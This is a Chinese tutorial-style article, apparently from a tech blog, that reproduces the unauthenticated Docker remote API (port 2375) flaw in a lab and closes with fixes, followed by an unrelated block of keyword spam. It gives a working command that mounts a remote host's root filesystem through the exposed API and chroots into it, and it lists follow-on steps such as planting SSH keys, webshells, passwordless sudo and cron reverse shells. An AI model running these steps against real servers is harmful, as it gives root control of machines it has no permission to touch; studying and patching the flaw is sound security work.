千家信息网

docker remote API漏洞怎么修复

发表于:2025-01-22 作者:千家信息网编辑
千家信息网最后更新 2025年01月22日,这篇文章主要讲解了"docker remote API漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"docker remote API漏洞
千家信息网最后更新 2025年01月22日docker remote API漏洞怎么修复

这篇文章主要讲解了"docker remote API漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"docker remote API漏洞怎么修复"吧!

漏洞描述

docker是一种开源的应用容器引擎,这个漏洞是利用docker对外开放的一个api接口,因为权限设置不当,导致可以远程命令执行。

测试环境

· 本地一台虚拟机,一台临时创建的阿里云服务器

· centos7

· docker-ce-18.09.9

漏洞复现

首先探测2375端口,如果开放,再构造http:localhost:2375/version请求,如果返回包带有json格式,说明存在该漏洞。

1、安装docker

配置宿主机网卡转发

## 若未配置,需要执行如下$ cat < /etc/sysctl.d/docker.confnet.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1net.ipv4.ip_forward=1EOF$ sysctl -p /etc/sysctl.d/docker.conf

Yum安装配置docker

## 下载阿里源repo文件$ curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo$ curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo$ yum clean all && yum makecache## 安装指定版本yum install -y docker-ce-18.09.9## 配置源加速## https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorsmkdir -p /etc/dockervi /etc/docker/daemon.json{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}## 设置开机自启systemctl enable docker systemctl daemon-reload## docker daemonps aux |grep docker## containerdps aux|grep containerdsystemctl status containerd

2、开启2375端口,提供外部访问

编辑docker文件:/usr/lib/systemd/system/docker.service

vim /usr/lib/systemd/system/docker.service

修改ExecStart行为下面内容

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock \

重新加载docker配置

systemctl daemon-reload # 加载docker守护线程systemctl restart docker # 重启docker

· 查看端口

3、信息收集端口

4、查看返回包

5、添加、查看本地密钥

6、远程创建docker并添加密钥

docker -H tcp://8.135.2.198 run --rm -it -v /:/mnt busybox chroot /mnt sh

· 简单解释一下参数的含义:

· -rm 容器停止时,自动删除该容器

· -v 挂载目录。格式为 系统目录:容器目录

· -i 指示 docker 要在容器上打开一个标准的输入接口

· -t 指示 docker 要创建一个伪 tty 终端,连接容器的标准输入接口,之后用户就可以通过终端进行输入

7、本地连接目标宿主机

漏洞危害

通过此漏洞,可在docker命令执行,并且影响宿主机。

总结流程

引用网上的一些总结流程

1. Docker是以root权限运行的,这是所有姿势的前提

1. Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考redis未授权访问漏洞,将宿主机的/root/.ssh目录挂载到容器上,然后写入公钥。如果有web目录的话,最差也能上一个webshell。

1. 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下(通过查看/etc/ssh/sshd_config目录),然后修改/etc/sudoer中的文件,配置为sudo免密码,切换为root

1. 还可以通过crontab写计划任务反弹shell

漏洞修复

1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)

2.在防火墙上配置禁止外网访问2375端口

感谢各位的阅读,以上就是"docker remote API漏洞怎么修复"的内容了,经过本文的学习后,相信大家对docker remote API漏洞怎么修复这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

漏洞 容器 目录 端口 配置 宿主 宿主机 内容 接口 文件 学习 输入 可以通过 命令 密钥 情况 指示 服务器 权限 标准 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 河南东滨网络技术公司 三维建模软件开发JAVA 软件开发经验怎么写 服务器为什么网线只有一边亮 服务器安全学习 常熟品牌网络技术咨询热线 焦作东驰网络技术有限公司 魔兽怀旧服开启不同服务器 阿修罗山东互联网科技有限公司 数据库随机选取多条数据 网络安全包括几方面的内容 浙江软件开发机构 数据库关系模式名次解释 软件开发毕业工作好找吗 工资管理系统数据库设计分析 5G网络安全风险 xampp 不用自带数据库 为什么长城宽带服务器不响应 数据库找账号密码怎么办 进入端游显示无法连接服务器 财政网络安全应急演练调研 数据库开发是不是大数据 v6服务器主要使用哪些频率 服务器进入管理 数据库可以重复添加字段吗 学生网络安全培训计划 数据库零级备份 浙大软件开发专业 国家网络安全宣传周专题展板 安徽飞运互联网科技有限公司
0